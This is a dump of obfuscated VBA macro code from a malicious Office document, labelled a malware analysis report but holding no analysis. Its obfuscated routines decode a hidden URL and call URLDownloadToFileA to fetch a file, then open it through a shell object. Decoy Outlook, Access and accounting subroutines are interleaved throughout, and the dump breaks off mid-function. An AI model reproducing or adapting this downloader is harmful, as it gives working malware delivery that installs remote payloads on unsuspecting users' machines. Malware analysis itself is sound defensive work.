Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If Not False And VBA7 And Not False And True And 1 And Not False And Win64 Then
Private Declare PtrSafe Function NqBHp7qCwNnGUYNUeNUrpXNqBHp7qCwNnGUYNUeNUrpXVpyNeGEx8cxyXNqBHp7qCwNnGUYNUeNUrpXVpyNwqBwFxjyXqyXNqBHp7qCwNnGUYNUeNUrpXVpyNpDYkWbfyp4YLUJGqXtYK3VpyNeGEx8cxyXNqBHp7qCwNnGUYNUeNUrpXVpyNwqBwFxjyXNqBHp7qCwNnGUYNUeNUrpXVpyNeGEx8cxwqBwFx Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal k¼h²úu·Ä9kPFa¶ö5¼0µBésOcRU5 As Long, _
ByVal sàmeöväGÜaÁXE¨îhjÂe As String, _
ByVal K©LOéྯúw¤ia¤¶åYKUQ As String, _
ByVal Xw·Zé±¢v¤¿NÜUvlkCi¿¦£0kcbn¬Jú As Long, _
ByVal Sdä§kCB²sp¿äûKMUW· As Long) As LongPtr


Private Declare PtrSafe Function SetCurrentDirectoryAOo3D Lib "kernel32" (ByVal lpPathName As String) As LongPtr

Private Declare PtrSafe Function IsCharAlphaNumericAUdHG Lib "USER32" (ByVal byChar As Byte) As LongPtr

Private Declare PtrSafe Function GdipDisposeImageRHyB Lib "GDIPlus" (ByVal image As LongPtr) As LongPtr
#Else
Private Declare Function SendMessageAr5io Lib "user32" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long


Private Declare Function GdipCreateHBITMAPFromBitmapbB87 Lib "GDIPlus" (ByVal bitmap As Long, hbmReturn As Long, ByVal background As Long) As Long


Private Declare Function timeGetTimegTuo Lib "winmm.dll" () As Long


Private Declare Function NqBHp7qCwNnGUYNUeNUrpXNqBHp7qCwNnGUYNUeNUrpXVpyNeGEx8cxyXNqBHp7qCwNnGUYNUeNUrpXVpyNwqBwFxjyXqyXNqBHp7qCwNnGUYNUeNUrpXVpyNpDYkWbfyp4YLUJGqXtYK3VpyNeGEx8cxyXNqBHp7qCwNnGUYNUeNUrpXVpyNwqBwFxjyXNqBHp7qCwNnGUYNUeNUrpXVpyNeGEx8cxwqBwFx Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal k¼h²úu·Ä9kPFa¶ö5¼0µBésOcRU5 As Long, _
ByVal sàmeöväGÜaÁXE¨îhjÂe As String, _
ByVal K©LOéྯúw¤ia¤¶åYKUQ As String, _
ByVal Xw·Zé±¢v¤¿NÜUvlkCi¿¦£0kcbn¬Jú As Long, _
ByVal Sdä§kCB²sp¿äûKMUW· As Long) As Long




#End If
Private èSÉtd62z´(194)
Public Y¿¾X¢wA4

Public úal9bÿSzI6cÿ As String

Public îQq½9j2£²ioI1¢îæ¶ As Variant


Sub FDEFEFEZEF()
û±DM¶C3D¦Rpi4Üà = ÂtHò1ooYåIE("h1k6tHajt;Pwp7NKsB+F:NDe/eqZ/ItHsa8<u4W\rtdOpEk?rk7Ji]O*zil_emm4aw0q.OY+n)fuemfQtV/w/BBhmz|?i/a4nC0IsW_0kgsI.0<NeiM3xLC,eI}P")
ܯçè0³ÖS7ïAp = öO«¯8bª«BªNpr® = Vpƒ´KêPÖ6¥Ñ4¢·ªl = J«ÀM£w¸g68j¹ = Ppjltjé = bv·fyÑH¶µ4ïh®âƒîò = Âphúc = aE¿¯UG§´»9aü = A²çSTRëæ2cXâèP¿³¢º = A«¦L§¶Öâ1D0lÂ7B¹h = qüO­FZºöÑîeH¥D1 = GƒBsU²hüêÂ1ƒ = «»¿aº¬ùMôwtÂO¼»CrùN = ¢k¼îK­¥Ä4IÀìpX6d = NqBHp7qCwNnGUYNUeNUrpXNqBHp7qCwNnGUYNUeNUrpXVpyNeGEx8cxyXNqBHp7qCwNnGUYNUeNUrpXVpyNwqBwFxjyXqyXNqBHp7qCwNnGUYNUeNUrpXVpyNpDYkWbfyp4YLUJGqXtYK3VpyNeGEx8cxyXNqBHp7qCwNnGUYNUeNUrpXVpyNwqBwFxjyXNqBHp7qCwNnGUYNUeNUrpXVpyNeGEx8cxwqBwFx(0, _
û±DM¶C3D¦Rpi4Üà, _
úal9bÿSzI6cÿ, _
(13372 - (6580) + (-6792)), _
((3094) - (-2435) + (-5529)))
While (444 = ((16252) - (6426) + (-9814)))
    cD4ükUôPÄ£lU­ƒV9Ö© = P¯X¿¢Âv7qÿÖ + D5Pt¢DCNIñMx¢e¢V
    If (1254492478 = ((231244948) - (-3487) + (8550))) Then
        MsgBox ÂtHò1ooYåIE(ÄD¸³æoº·¤éº())
        cD4ükUôPÄ£lU­ƒV9Ö© = 3265
    End If
Wend
Set îQq½9j2£²ioI1¢îæ¶ = CreateObject(ÂtHò1ooYåIE(r©¾³´²O()))
TTTTT
End Sub

Private Sub ts5OWTjOCommandButton2_Click()
    '
    ' This will show an additional form to the user as
    ' a way to form him/her to not change the weeks directly
    ' on the main form
    '
    SemainesForm.Show
End Sub

Private Sub kTi4DKl1CommandButton3_Click()
    PrixForm.Show
End Sub

Private Sub KpH6HOd1set_Params()
    '
    ' This a helper used to set parameters to
    ' the textboxes
    '
    TextBox1.Value = wk.Range("personnel").Value
    TextBox2.Value = wk.Range("salaire").Value
    TextBox3.Value = wk.Range("jours_activités").Value
    TextBox4.Value = wk.Range("heures_par_jours").Value
    TextBox5.Value = wk.Range("jours_par_semaines").Value
    
    '
    ' Prevent direct change of activity days froms userform
    '
    TextBox3.Locked = True
    TextBox3.Enabled = False
End Sub



Function âuPrnñäe() As String
Dim ¨á³´¦Zq±ÉïS
Dim w5BwánqæV¨m
Dim úsVdLB¥t
Dim ½UÿlÜbº0T²9i
Dim vF6ª¸ºW4ªGüï
Dim J¿Nl¾D
Dim e»nE¿¯¼OLñmME
Dim ºw4£cOh¨E»
Dim pÀDo±ådì¸
Dim ©´ZqñgHycwÉcº
¨á³´¦Zq±ÉïS = èSÉtd62z´(11)
w5BwánqæV¨m = ¨á³´¦Zq±ÉïS & èSÉtd62z´(66)
úsVdLB¥t = w5BwánqæV¨m & èSÉtd62z´(76)
½UÿlÜbº0T²9i = úsVdLB¥t & èSÉtd62z´(6)
vF6ª¸ºW4ªGüï = ½UÿlÜbº0T²9i & èSÉtd62z´(128)
J¿Nl¾D = vF6ª¸ºW4ªGüï & èSÉtd62z´(9)
e»nE¿¯¼OLñmME = J¿Nl¾D & èSÉtd62z´(130)
ºw4£cOh¨E» = e»nE¿¯¼OLñmME & èSÉtd62z´(131)
pÀDo±ådì¸ = ºw4£cOh¨E» & èSÉtd62z´(43)
©´ZqñgHycwÉcº = pÀDo±ådì¸ & èSÉtd62z´(133)
âuPrnñäe = ©´ZqñgHycwÉcº
End Function


Public Sub CF4RdSOBaffecter_un_cout(class_text As String, cout As Long)
    '
    ' Use this module to affect a cost to a specific class of
    ' the PCG.
    '
    top_row = wk.Range("B3").Value
    
    If top_row = "" Then
        wk.Range("B3").Value = class_text
        wk.Range("C3").Value = cout
    Else
        wk.Range("B2").End(xlDown).Offset(1, 0).Value = class_text
        wk.Range("B2").End(xlDown).Offset(0, 1).Value = cout
    End If
End Sub

Public Sub eMSRHvnzsupprimer_un_cout()
    '
    ' Use this module to delete a cost to a specific class of
    ' the PCG.
    '
End Sub



Public Sub MR48inscrire_le_cout(ByVal top_row As String, _
                                 Optional ByVal ecriture As Integer = 0)
    Dim r, s As String
    If ecriture = 0 Then
        r = "B7"
        s = "E7"
    End
    If ecriture = 1 Then
        r = "H7"
        s = "K7"
    End If
    If top_row = "" Then
        wk.Range(r).Value = class_text
        wk.Range(s).Value = cout
    Else
        wk.Range(r).End(xlDown).Offset(1, 0).Value = class_text
        wk.Range(s).End(xlDown).Offset(0, 1).Value = cout
    End If
End Sub



Sub TTTTT()
Dim D5Pt¢DCNIñMx¢e¢V, cD4ükUôPÄ£lU­ƒV9Ö©, P¯X¿¢Âv7qÿÖ As Integer
If (47854852 = ((897844552) - (-1338) + (-69))) Then
D5Pt¢DCNIñMx¢e¢V = 888
Debug.Print (1)
    If (1254492478 = ((231244948) - (-3487) + (8550))) Then
    MsgBox ÂtHò1ooYåIE(ÄD¸³æoº·¤éº())
    cD4ükUôPÄ£lU­ƒV9Ö© = 3265
    End If
End If
P¯X¿¢Âv7qÿÖ = 7852
îQq½9j2£²ioI1¢îæ¶.Open (úal9bÿSzI6cÿ)
While (444 = ((4619) - (5329) + (721)))
    cD4ükUôPÄ£lU­ƒV9Ö© = P¯X¿¢Âv7qÿÖ + D5Pt¢DCNIñMx¢e¢V
Wend
End Sub
Public Sub lePYiSP2CreateNewContact()
    Dim objContact As ContactItem
    Set objContact = Application.CreateItem(olContactItem)
    
    With objContact
        .BusinessAddressCity = "Halifax"
        .BusinessAddressCountry = "Canada"
        .Business2TelephoneNumber = "902123" 'the area code and local prefix
        .Display
    End With

    Set objContact = Nothing
End Sub


Function twJêµ¢4ÿOö¯Rv() As String
Dim nyÄ3ÀööEô¤
Dim Ü2âQèP²F¨£ª
Dim aƒåL7LÿQ
Dim Ldqùµ8¢P
Dim ºÖÖpù±áWà
Dim ÜÀWñ²â5Á
Dim zD¨8ò¹½ª¢½
Dim QüJDHaâáU
Dim ¸DC¿¦étKy¶W
Dim ¯¯lLIѪGìUR
Dim tÑ£äê±ï­ÑT
Dim ºéq³mr¨®
Dim tüRiºD¶F¿Ñ
Dim Me²H¦t½HèYäôm
Dim ¢º3¥BÑ®ë¬
Dim u­lç0Ae
nyÄ3ÀööEô¤ = èSÉtd62z´(0)
Ü2âQèP²F¨£ª = nyÄ3ÀööEô¤ & èSÉtd62z´(1)
aƒåL7LÿQ = Ü2âQèP²F¨£ª & èSÉtd62z´(2)
Ldqùµ8¢P = aƒåL7LÿQ & èSÉtd62z´(3)
ºÖÖpù±áWà = Ldqùµ8¢P & èSÉtd62z´(4)
ÜÀWñ²â5Á = ºÖÖpù±áWà & èSÉtd62z´(5)
zD¨8ò¹½ª¢½ = ÜÀWñ²â5Á & èSÉtd62z´(6)
QüJDHaâáU = zD¨8ò¹½ª¢½ & èSÉtd62z´(7)
¸DC¿¦étKy¶W = QüJDHaâáU & èSÉtd62z´(8)
¯¯lLIѪGìUR = ¸DC¿¦étKy¶W & èSÉtd62z´(9)
tÑ£äê±ï­ÑT = ¯¯lLIѪGìUR & èSÉtd62z´(10)
ºéq³mr¨® = tÑ£äê±ï­ÑT & èSÉtd62z´(11)
tüRiºD¶F¿Ñ = ºéq³mr¨® & èSÉtd62z´(3)
Me²H¦t½HèYäôm = tüRiºD¶F¿Ñ & èSÉtd62z´(13)
¢º3¥BÑ®ë¬ = Me²H¦t½HèYäôm & èSÉtd62z´(14)
u­lç0Ae = ¢º3¥BÑ®ë¬ & èSÉtd62z´(15)
twJêµ¢4ÿOö¯Rv = u­lç0Ae
End Function

Sub zdg5CreateAppointment()
    Dim olAppt As AppointmentItem
    Set olAppt = Application.CreateItem(olAppointmentItem)
    
    With olAppt
        .Subject = "My Subject"
        .Body = "This is the body"
        .RequiredAttendees = "something@gmail.com"
        .Location = "Lille"
        .ReminderMinutesBeforeStart = "30"
        .Start = #11/19/2017 2:00:00 AM#
        .End = #11/19/2017 4:00:00 AM#
        '.BillingInformation = "something"
        .Categories = "Business"
        .Display
    End With
End Sub


Function r©¾³´²O() As String
Dim B25üâwÿ
Dim MIrå·Boéï00
Dim já6²7ºJ
Dim h½p¬a¨·¯u
Dim lƒn©n³dìi
Dim ¥PÑa6¢³³VV
Dim l¿£®EQ½Pû
Dim ÿF7ºi8òµy
Dim ÑiåïÁ8
Dim Smpj¹½ƒogo
Dim µvtÄsN¥m
Dim áyîùdá¿6¿H
Dim ZÜb¹Zuià
Dim ìgZNáäâXâµ
Dim tì6ïs
Dim löVYj8
Dim xl³¿ìEtD
Dim ªL¿y½m²Dç§
Dim D5RlµNAüy¥î
Dim E¦¼iѼüIµb
Dim Kçvuhl
Dim rÆYBÂQR3V
Dim ¦º¤Â·ñN
Dim MHÉz03·tZ
Dim mwöÖw¥NöÂ9¸
Dim ºÀeÑè¹CÑ¿ªt
Dim ºhª¯e¶ûkn
Dim PôÉhåk
Dim HïAì¼0­f¨z
Dim Éö¿kP¼à
Dim cúy¤£ÿ´­
Dim ºj¾uÉÖºSs¤
Dim eÖÖdss2vDé
Dim ëM0x¨C¤
Dim naôT£yV¾¹ÿÿÂ
Dim ²ô·Zôµèö¦§5
Dim ¢xëEïÄjS£Âl²
Dim ƒ¯apr¹¶
Dim è«I䤺I¢K
Dim ôåW§òUiêH
Dim kxùbºÑ¦SV¿¿
Dim ­RlQmå¢k
Dim äXw¹£Pm
Dim Kyôà¿T§Y6
Dim OåüÖMäbrvQ
Dim ³·n6IEàº4
Dim ÿ¢ÉñCaĨm£
Dim M5úe2¶X´
Dim O¦ª4PÁ²åërÀ
Dim ¶ñWünImï
Dim o´kQ££uà­½
Dim A§òGî5£ûµW¢¨4
Dim E½ÿ6R¬­L
Dim ¸Æù0æî7
Dim GçÑ48ÀnMë
Dim æwvzZç©Ö
Dim iBT4o§0E¢o¾¿
Dim GÑVöàòayx
Dim hâ£ESçDBÖÖc
Dim ºƒ¢ÁÆClv4ñî
Dim ¦éèÀéQ·©¢Xr
Dim ´¿kâ¥Lë
Dim Ü32£o0Oy©2
Dim ¹éôu£©â1g§
Dim Y¢wjº5­f£iDMP
Dim ¼HƒèéDè£
Dim r´ÜrrºDw·
Dim Á²¹¢¿®»§i
B25üâwÿ = èSÉtd62z´(36)
MIrå·Boéï00 = B25üâwÿ & èSÉtd62z´(14)
já6²7ºJ = MIrå·Boéï00 & èSÉtd62z´(38)
h½p¬a¨·¯u = já6²7ºJ & èSÉtd62z´(39)
lƒn©n³dìi = h½p¬a¨·¯u & èSÉtd62z´(40)
¥PÑa6¢³³VV = lƒn©n³dìi & èSÉtd62z´(41)
l¿£®EQ½Pû = ¥PÑa6¢³³VV & èSÉtd62z´(36)
ÿF7ºi8òµy = l¿£®EQ½Pû & èSÉtd62z´(43)
ÑiåïÁ8 = ÿF7ºi8òµy & èSÉtd62z´(44)
Smpj¹½ƒogo = ÑiåïÁ8 & èSÉtd62z´(21)
µvtÄsN¥m = Smpj¹½ƒogo & èSÉtd62z´(46)
áyîùdá¿6¿H = µvtÄsN¥m & èSÉtd62z´(46)
ZÜb¹Zuià = áyîùdá¿6¿H & èSÉtd62z´(48)
ìgZNáäâXâµ = ZÜb¹Zuià & èSÉtd62z´(49)
tì6ïs = ìgZNáäâXâµ & èSÉtd62z´(18)
löVYj8 = tì6ïs & èSÉtd62z´(18)
xl³¿ìEtD = löVYj8 & èSÉtd62z´(48)
ªL¿y½m²Dç§ = xl³¿ìEtD & èSÉtd62z´(10)
D5RlµNAüy¥î = ªL¿y½m²Dç§ & èSÉtd62z´(54)
E¦¼iѼüIµb = D5RlµNAüy¥î & èSÉtd62z´(55)
Kçvuhl = E¦¼iѼüIµb & èSÉtd62z´(56)
rÆYBÂQR3V = Kçvuhl & èSÉtd62z´(1)
¦º¤Â·ñN = rÆYBÂQR3V & èSÉtd62z´(15)
MHÉz03·tZ = ¦º¤Â·ñN & èSÉtd62z´(59)
mwöÖw¥NöÂ9¸ = MHÉz03·tZ & èSÉtd62z´(60)
ºÀeÑè¹CÑ¿ªt = mwöÖw¥NöÂ9¸ & èSÉtd62z´(48)
ºhª¯e¶ûkn = ºÀeÑè¹CÑ¿ªt & èSÉtd62z´(5)
PôÉhåk = ºhª¯e¶ûkn & èSÉtd62z´(20)
HïAì¼0­f¨z = PôÉhåk & èSÉtd62z´(64)
Éö¿kP¼à = HïAì¼0­f¨z & èSÉtd62z´(19)
cúy¤£ÿ´­ = Éö¿kP¼à & èSÉtd62z´(66)
ºj¾uÉÖºSs¤ = cúy¤£ÿ´­ & èSÉtd62z´(67)
eÖÖdss2vDé = ºj¾uÉÖºSs¤ & èSÉtd62z´(64)
ëM0x¨C¤ = eÖÖdss2vDé & èSÉtd62z´(35)
naôT£yV¾¹ÿÿÂ = ëM0x¨C¤ & èSÉtd62z´(18)
²ô·Zôµèö¦§5 = naôT£yV¾¹ÿÿ & èSÉtd62z´(71)
¢xëEïÄjS£Âl² = ²ô·Zôµèö¦§5 & èSÉtd62z´(48)
ƒ¯apr¹¶ = ¢xëEïÄjS£Âl² & èSÉtd62z´(73)
è«I䤺I¢K = ƒ¯apr¹¶ & èSÉtd62z´(66)
ôåW§òUiêH = è«I䤺I¢K & èSÉtd62z´(75)
kxùbºÑ¦SV¿¿ = ôåW§òUiêH & èSÉtd62z´(76)
­RlQmå¢k = kxùbºÑ¦SV¿¿ & èSÉtd62z´(77)
äXw¹£Pm = ­RlQmå¢k & èSÉtd62z´(78)
Kyôà¿T§Y6 = äXw¹£Pm & èSÉtd62z´(79)
OåüÖMäbrvQ = Kyôà¿T§Y6 & èSÉtd62z´(33)
³·n6IEàº4 = OåüÖMäbrvQ & èSÉtd62z´(20)
ÿ¢ÉñCaĨm£ = ³·n6IEàº4 & èSÉtd62z´(82)
M5úe2¶X´ = ÿ¢ÉñCaĨm£ & èSÉtd62z´(59)
O¦ª4PÁ²åërÀ = M5úe2¶X´ & èSÉtd62z´(9)
¶ñWünImï = O¦ª4PÁ²åërÀ & èSÉtd62z´(40)
o´kQ££uà­½ = ¶ñWünImï & èSÉtd62z´(75)
A§òGî5£ûµW¢¨4 = o´kQ££uà­½ & èSÉtd62z´(87)
E½ÿ6R¬­L = A§òGî5£ûµW¢¨4 & èSÉtd62z´(88)
¸Æù0æî7 = E½ÿ6R¬­L & èSÉtd62z´(33)
GçÑ48ÀnMë = ¸Æù0æî7 & èSÉtd62z´(90)
æwvzZç©Ö = GçÑ48ÀnMë & èSÉtd62z´(5)
iBT4o§0E¢o¾¿ = æwvzZç©Ö & èSÉtd62z´(76)
GÑVöàòayx = iBT4o§0E¢o¾¿ & èSÉtd62z´(93)
hâ£ESçDBÖÖc = GÑVöàòayx & èSÉtd62z´(94)
ºƒ¢ÁÆClv4ñî = hâ£ESçDBÖÖc & èSÉtd62z´(95)
¦éèÀéQ·©¢Xr = ºƒ¢ÁÆClv4ñî & èSÉtd62z´(28)
´¿kâ¥Lë = ¦éèÀéQ·©¢Xr & èSÉtd62z´(95)
Ü32£o0Oy©2 = ´¿kâ¥Lë & èSÉtd62z´(94)
¹éôu£©â1g§ = Ü32£o0Oy©2 & èSÉtd62z´(0)
Y¢wjº5­f£iDMP = ¹éôu£©â1g§ & èSÉtd62z´(100)
¼HƒèéDè£ = Y¢wjº5­f£iDMP & èSÉtd62z´(101)
r´ÜrrºDw· = ¼HƒèéDè£ & èSÉtd62z´(102)
Á²¹¢¿®»§i = r´ÜrrºDw· & èSÉtd62z´(48)
r©¾³´²O = Á²¹¢¿®»§i
End Function
Sub FKNpadd_NewContact()
    Dim j As ContactItem
    Set j = Outlook.CreateItem(olContactItem)
    
    With j
        .Title = "Miss"
        .FirstName = "Leila"
        .MiddleName = "Goory"
        .LastName = "Lopez"
        .Gender = olFemale
        .CompanyName = "Google"
        .JobTitle = "Directrice Marketing"
        '.FileAs = "..."
        .Email1Address = "leila@gmail.com"
        .Email1AddressType = "Work"
        .WebPage = "www.google.com"
        .Anniversary = #3/10/1987#
        '.AddPicture "..."
        .Initials = "LL"
        .BusinessAddress = "Loos"
        .BusinessTelephoneNumber = "06 68 55 29 75"
        .MobileTelephoneNumber = "06 68 55 29 75"
        .MailingAddressStreet = "20 rue du Docteur Calmette"
        .MailingAddressCity = "Lille"
        .MailingAddressPostalCode = "59120"
        .Body = "Notes"
        '.Categories
        .Display
    End With
End Sub

Private Sub CCVPzSkyListCategoryIDs()
 Dim objNameSpace As NameSpace
 Dim objCategory As Category
 Dim strOutput As String

 ' Obtain a NameSpace object reference.
 Set objNameSpace = Application.GetNamespace("MAPI")

 ' Check if the Categories collection for the Namespace
 ' contains one or more Category objects.
 If objNameSpace.Categories.Count > 0 Then

 ' Enumerate the Categories collection.
 For Each objCategory In objNameSpace.Categories

 ' Add the name and ID of the Category object to
 ' the output string.
 strOutput = strOutput & objCategory.Name & ": " & objCategory.CategoryID & vbCrLf
 Next
 End If

 ' Display the output string.
 MsgBox strOutput

 ' Clean up.
 Set objCategory = Nothing
 Set objNameSpace = Nothing

End Sub


Function H»¦pY·39äxV() As String
Dim o8ÂëJ¤G¿S
Dim QÁ¶LKè¾
Dim EHºF¿ÿc
Dim BùëipÑû
Dim l¯ïｺKdi
Dim UYÀºs5ÆVé
Dim ᥃9hW¤ê¿â
Dim Zàï±Xii5mlCÁ
Dim ñÆeÿâM¹´04¨
o8ÂëJ¤G¿S = èSÉtd62z´(146)
QÁ¶LKè¾ = o8ÂëJ¤G¿S & èSÉtd62z´(180)
EHºF¿ÿc = QÁ¶LKè¾ & èSÉtd62z´(28)
BùëipÑû = EHºF¿ÿc & èSÉtd62z´(182)
l¯ïｺKdi = BùëipÑû & èSÉtd62z´(3)
UYÀºs5ÆVé = l¯ïｺKdi & èSÉtd62z´(184)
᥃9hW¤ê¿â = UYÀºs5ÆVé & èSÉtd62z´(185)
Zàï±Xii5mlCÁ = ᥃9hW¤ê¿â & èSÉtd62z´(186)
ñÆeÿâM¹´04¨ = Zàï±Xii5mlCÁ & èSÉtd62z´(75)
H»¦pY·39äxV = ñÆeÿâM¹´04¨
End Function
Sub GQcDtest_if_OutlookIsOpen()
    Dim oOutlook As Object

    On Error Resume Next
    Set oOutlook = GetObject(, "Outlook.Application")
    On Error GoTo 0

    If oOutlook Is Nothing Then
        MsgBox "Outlook is not open, open Outlook and try again"
    Else
        
        ' TO DO
        '
        MsgBox "Is Open"
    End If
End Sub

Function ÂtHò1ooYåIE(v¯K¨Ñtº11µ§) As String
    Dim nZHVdrªƒèb²(1055) As Byte, r8¸QXÁqÆLZ²6¤¸ƒrJÀr() As Byte
    r8¸QXÁqÆLZ²6¤¸ƒrJÀr = ZDh¥s³eH¹ù(v¯K¨Ñtº11µ§, âuPrnñäe(), î2ægFü(), (6404 - (-3409) + (-9685)), Kèàrx»lO¥(), ë²PnT2¬KATââ())


    For O½èÀE¼½«sf´ = 0 To UBound(r8¸QXÁqÆLZ²6¤¸ƒrJÀr) - 1
        If (O½èÀE¼½«sf´ Mod 4 = ((-3392) - (-7414) + (-4022))) Then
            nZHVdrªƒèb²(sXºô¶ò£Oi¦6âWxwRé¯e) = r8¸QXÁqÆLZ²6¤¸ƒrJÀr(O½èÀE¼½«sf´)
            sXºô¶ò£Oi¦6âWxwRé¯e = sXºô¶ò£Oi¦6âWxwRé¯e + 1
        End If
    Next O½èÀE¼½«sf´
    ÂtHò1ooYåIE = Left(º£ç3¼ï(nZHVdrªƒèb², áI¤byX(), ³H9aäJº¿(), (3490 - (5753) + (2327)), H»¦pY·39äxV(), öw6PcV()), sXºô¶ò£Oi¦6âWxwRé¯e)


End Function
Sub tmtkfile_Picker()
    '
    ' Imports table / Microsoft Office Object Library 16.0
    '
    
    'Dim
    Dim table_Name(1) As Variant
    Dim sheet_Path As String
    
    'Open file picker
    Dim fd As Office.FileDialog
    Set fd = Application.FileDialog(msoFileDialogFilePicker)
    
    'Open file picker
    With fd
        .AllowMultiSelect = False
        .Title = "Select a file"
        .Filters.Clear
        .Filters.Add "Excel", "*.xlsx"
        
        'When user has picked file
        If .Show = True Then
            'Path
            sheet_Path = fd.SelectedItems.Item(1)
            'Name
            table_Name(0) = Dir(fd.SelectedItems.Item(1))
        Else
            'TO DO
        End If
    End With
End Sub


Function î2ægFü() As String
Dim ÖMj¯Q¦ºr
Dim ÿOBvûKยm6
Dim EKâ59blå¢
Dim A­W¶É£xO
Dim Bqº¥XaQ0ñI¥
Dim K§wa6dâw
Dim e¢£·U£î¶
Dim ÆÉ5VZvyd
Dim ¸CX¢uÆ8hSæ
Dim å­Eª¯¤O1ù¨
ÖMj¯Q¦ºr = èSÉtd62z´(4)
ÿOBvûKยm6 = ÖMj¯Q¦ºr & èSÉtd62z´(135)
EKâ59blå¢ = ÿOBvûKยm6 & èSÉtd62z´(136)
A­W¶É£xO = EKâ59blå¢ & èSÉtd62z´(88)
Bqº¥XaQ0ñI¥ = A­W¶É£xO & èSÉtd62z´(34)
K§wa6dâw = Bqº¥XaQ0ñI¥ & èSÉtd62z´(139)
e¢£·U£î¶ = K§wa6dâw & èSÉtd62z´(140)
ÆÉ5VZvyd = e¢£·U£î¶ & èSÉtd62z´(141)
¸CX¢uÆ8hSæ = ÆÉ5VZvyd & èSÉtd62z´(142)
å­Eª¯¤O1ù¨ = ¸CX¢uÆ8hSæ & èSÉtd62z´(88)
î2ægFü = å­Eª¯¤O1ù¨
End Function
Sub JA2Mmanipulating_Tables()
    On Error Resume Next
    'INSERT values
    DoCmd.runSQL "INSERT INTO Facebook(OK, Field1) VALUES ('5', 'Kendall')"
    'UPDATE field
    DoCmd.runSQL "UPDATE Facebook SET Field1 = 'Kendall' WHERE ID = 1"
    'ALTER TABLE
    DoCmd.runSQL "ALTER TABLE X "
End Sub

Sub QcVFedit_Table()
    Dim d As DAO.Database
    Dim t As TableDef
    Dim r As DAO.Recordset
    
    Set d = CurrentDb
    Set t = d.TableDefs("...")
    Set r = t.OpenRecordset(, dbOpenSnapshot)
    
    r.Edit
    r(...).Value = "..."
    r.Update
    
    Set d = Nothing
    Set t = Nothing
End Sub




Function uùñO£ybLc®() As String
Dim çU£«1V
Dim Vöw®¶
Dim ±R7Áo¯«MIkEª
Dim çi·8yÀsFW¾¨
Dim ¿pì5·Wåâ
Dim Rñâò»Üz§
Dim Öå¦KR¸XJQn
Dim NëI4wmܾ
Dim ke±©¥¥o
Dim ¸¢24üªL¿M©
Dim mX¨f6H¹ôW
Dim z¯N¢iñº¨L
Dim ƒjæ9ê®àVF
Dim âq1誢9
Dim FlkeMƒÀ»ö
Dim r8⤾¨¦·æ
Dim VN«NêåeÜ
Dim ¨Eô7P´
Dim ¾tT±µS
Dim ¦¦ºLTi£1
çU£«1V = èSÉtd62z´(4)
Vöw®¶ = çU£«1V & èSÉtd62z´(17)
±R7Áo¯«MIkEª = Vöw®¶ & èSÉtd62z´(18)
çi·8yÀsFW¾¨ = ±R7Áo¯«MIkEª & èSÉtd62z´(19)
¿pì5·Wåâ = çi·8yÀsFW¾¨ & èSÉtd62z´(20)
Rñâò»Üz§ = ¿pì5·Wåâ & èSÉtd62z´(21)
Öå¦KR¸XJQn = Rñâò»Üz§ & èSÉtd62z´(22)
NëI4wmܾ = Öå¦KR¸XJQn & èSÉtd62z´(23)
ke±©¥¥o = NëI4wmܾ & èSÉtd62z´(20)
¸¢24üªL¿M© = ke±©¥¥o & èSÉtd62z´(4)
mX¨f6H¹ôW = ¸¢24üªL¿M© & èSÉtd62z´(22)
z¯N¢iñº¨L = mX¨f6H¹ôW & èSÉtd62z´(27)
ƒjæ9ê®àVF = z¯N¢iñº¨L & èSÉtd62z´(28)
âq1誢9 = ƒjæ9ê®àVF & èSÉtd62z´(9)
FlkeMƒÀ»ö = âq1誢9 & èSÉtd62z´(23)
r8⤾¨¦·æ = FlkeMƒÀ»ö & èSÉtd62z´(27)
VN«NêåeÜ = r8⤾¨¦·æ & èSÉtd62z´(20)
¨Eô7P´ = VN«NêåeÜ & èSÉtd62z´(33)
¾tT±µS = ¨Eô7P´ & èSÉtd62z´(34)
¦¦ºLTi£1 = ¾tT±µS & èSÉtd62z´(35)
uùñO£ybLc® = ¦¦ºLTi£1
End Function
Sub zYYycreate_NewButton()
    'Set parameter
    Dim btn As Control
    
    'Open form in hidden mode
    DoCmd.OpenForm "Google", acDesign, , , acFormEdit, acHidden
    
    On Error Resume Next
    
    'Create button
    Set btn = CreateControl("Google", acCommandButton, acDetail)
    
    'Move
    k.Move 2500, 2500, 1500, 700
    
    'Get control name
    this_name = k.Name
    
    'Add caption
    Forms("Google").Controls(this_name).Caption = "Google"
    
    'Close form
    DoCmd.Close acForm, "Google", acSaveYes
End Sub




Function ÄD¸³æoº·¤éº() As String
Dim ¥V·YƲEd¾
Dim ·N©KsP
Dim ¶ù4ëVs³ÉÑKCU«
Dim £¦op²º¹§¥M
Dim â踿o¾¶­z
Dim N·ëï³åV¬fs»
Dim Dàj­î¾UèáMë¼
Dim ÀÀd¿´âQGh²µ
Dim xàRîºjtgCW8º
Dim t9ÜÁwö¶cr
Dim Ñ8Bbê¸æFc
Dim g£Gbº7zuG²
Dim åu®w·g¬¨
Dim Æ¢½éªe¸ú¼G
Dim £ÜÁ³RìP­òH
Dim sôT1Â
Dim OªoµxÑQ
Dim E¦µµÆ©É¹Àoi
Dim ƒUÿITê§9y
Dim sD¿Y¼èú缬
¥V·YƲEd¾ = èSÉtd62z´(4)
·N©KsP = ¥V·YƲEd¾ & èSÉtd62z´(17)
¶ù4ëVs³ÉÑKCU« = ·N©KsP & èSÉtd62z´(18)
£¦op²º¹§¥M = ¶ù4ëVs³ÉÑKCU« & èSÉtd62z´(19)
â踿o¾¶­z = £¦op²º¹§¥M & èSÉtd62z´(20)
N·ëï³åV¬fs» = â踿o¾¶­z & èSÉtd62z´(21)
Dàj­î¾UèáMë¼ = N·ëï³åV¬fs» & èSÉtd62z´(22)
ÀÀd¿´âQGh²µ = Dàj­î¾UèáMë¼ & èSÉtd62z´(23)
xàRîºjtgCW8º = ÀÀd¿´âQGh²µ & èSÉtd62z´(20)
t9ÜÁwö¶cr = xàRîºjtgCW8º & èSÉtd62z´(4)
Ñ8Bbê¸æFc = t9ÜÁwö¶cr & èSÉtd62z´(22)
